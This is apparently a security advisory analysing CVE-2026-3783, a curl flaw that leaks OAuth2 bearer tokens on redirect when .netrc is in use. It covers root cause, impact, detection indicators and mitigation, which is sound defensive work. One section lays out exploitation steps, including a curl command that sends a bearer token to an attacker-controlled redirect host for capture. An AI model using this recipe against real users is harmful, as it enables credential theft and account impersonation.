CVE-2026-3783: 
cURL vulnerability analysis and mitigation

CVE-2026-3783 is a credential disclosure vulnerability in curl titled "token leak with redirect and netrc." When curl performs an HTTP(S) transfer using an OAuth2 bearer token and that transfer is redirected to a second URL, curl may leak the bearer token to the second hostname if that hostname has an entry in the .netrc file (via machine or default keywords). The vulnerability affects curl versions 7.33.0 through 8.18.0 (inclusive) and was introduced at commit 06c1bea72faabb6fad4b7ef8. It was reported on March 3, 2026, disclosed publicly on March 11, 2026, and fixed in curl 8.19.0 released the same day. It carries a CVSS v3.1 base score of 5.3 (Medium) (curl Advisory, Red Hat Bugzilla, oss-security).

The root cause is classified as CWE-522 (Insufficiently Protected Credentials) and CWE-201 (Insertion of Sensitive Information Into Sent Data). When curl follows an HTTP redirect and the destination hostname is present in the user's .netrc file under a machine or default entry, curl's credential-forwarding logic incorrectly passes the OAuth2 bearer token — originally scoped to the first host — to the redirected host as well. The bug was introduced in commit 06c1bea72faabb6fad4b7ef8 and is not considered a C language-specific mistake. Exploitation requires the victim to use --oauth2-bearer together with --netrc (or --netrc-file) and follow redirects (-L), and the attacker must control or influence the redirect target. A proof-of-concept with exact curl invocations and a Python redirect server script is publicly available via HackerOne (curl Advisory, HackerOne PoC, oss-security).

Successful exploitation results in the unintended disclosure of an OAuth2 bearer token to a second, potentially untrusted hostname. The confidentiality impact is limited to the token itself, but depending on the token's scope and the services it authorizes, an attacker who receives the leaked token could impersonate the victim, access protected APIs, or perform unauthorized actions on behalf of the user. There is no integrity or availability impact. The vulnerability affects both the curl command-line tool and applications using libcurl (curl Advisory, Red Hat Bugzilla).

1. Set up a redirect server: Deploy a web server (e.g., using Python's http.server or a custom script) on an attacker-controlled host that issues an HTTP 301/302 redirect from the initial URL to a second URL on a different hostname.
2. Ensure .netrc entry exists on victim: The victim's .netrc file must contain a machine or default entry for the redirect target hostname. This may already exist in environments where .netrc is used for credential management.
3. Craft the curl invocation: Induce the victim (or an automated process) to run a curl command such as:

   curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /path/to/.netrc -L http://attacker-controlled-host/redirect

4. Trigger the redirect: When curl follows the redirect to the second hostname, it checks the .netrc file and, finding an entry for that host, forwards the OAuth2 bearer token in the Authorization: Bearer header to the second host.
5. Capture the token: The attacker's second server (or any server at the redirect destination) receives the Authorization: Bearer SECRET_TOKEN header and can log or exfiltrate it for subsequent unauthorized use (HackerOne PoC, curl Advisory).

• Network: Outbound HTTP(S) requests from a curl client carrying an Authorization: Bearer <token> header to an unexpected or untrusted second hostname following a redirect; HTTP 301/302 responses from a first host redirecting to a different domain.
• Logs: Web server access logs on the redirect destination showing Authorization: Bearer headers from curl user-agents that were not expected to authenticate to that host; curl verbose output (-v) showing the bearer token being sent to the redirected URL.
• File System: Presence of .netrc files containing machine or default entries for external or third-party hostnames that could be redirect targets; unexpected .netrc modifications adding new host entries.
• Process: curl processes invoked with both --oauth2-bearer (or CURLOPT_XOAUTH2_BEARER) and --netrc/--netrc-file flags alongside -L (follow redirects), particularly in automated scripts or CI/CD pipelines (curl Advisory, HackerOne PoC).

The primary remediation is to upgrade curl and libcurl to version 8.19.0 or later, which contains the fix at commit e3d7401a32a46516c9e5ee877. If an immediate upgrade is not possible, the following workarounds are recommended in order of preference: (A) apply the upstream patch and rebuild libcurl; (B) avoid using OAuth2 bearer tokens in combination with redirect-following (-L) when .netrc is also in use; (C) audit .netrc files to remove entries for untrusted or third-party hostnames. Additionally, consider disabling automatic redirect following for requests that use bearer token authentication (curl Advisory, oss-security).

The curl project's lead developer Daniel Stenberg authored the fix and coordinated disclosure, publishing the advisory simultaneously with the curl 8.19.0 release on March 11, 2026 (curl Blog). The vulnerability was reported via HackerOne by researcher "spectreglobalsec" and disclosed on the oss-security mailing list the same day (oss-security). Multiple Linux distributions including Ubuntu, openSUSE, Fedora, and Slackware issued security advisories and updated packages shortly after disclosure. Community discussion on Bluesky and security aggregators noted the medium severity and the specific conditions required for exploitation, with general consensus that the risk is limited to users combining bearer tokens, .netrc, and redirect-following.